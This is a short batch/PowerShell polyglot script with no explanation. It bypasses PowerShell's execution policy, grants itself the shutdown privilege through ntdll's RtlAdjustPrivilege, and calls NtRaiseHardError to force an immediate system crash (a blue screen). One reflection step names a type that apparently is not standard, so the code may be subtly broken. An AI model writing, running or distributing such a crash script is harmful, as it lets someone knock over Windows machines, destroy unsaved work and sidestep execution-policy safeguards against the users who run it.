---

@powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Get-Content '%~f0' | Select-Object -Skip 1 | Out-String)" & exit /b
$n = [IntPtr]([Window].Assembly.GetType('Microsoft.Win32.Win32Native').GetMethod('GetModuleHandle').Invoke($null, @('ntdll.dll')))
$g = [Window].Assembly.GetType('Microsoft.Win32.Win32Native').GetMethod('GetProcAddress')
$r = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($g.Invoke($null, @($n, 'RtlAdjustPrivilege')), [Func[int,bool,bool,[int].MakeByRefType(),int]])
$e = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($g.Invoke($null, @($n, 'NtRaiseHardError')), [Func[uint,uint,uint,IntPtr,uint,[int].MakeByRefType(),int]])
$l = 0
$null = $r.Invoke(19, $true, $false, [ref]$l)
$null = $e.Invoke(0xDEADC0DE, 0, 0, [IntPtr]::Zero, 6, [ref]$l)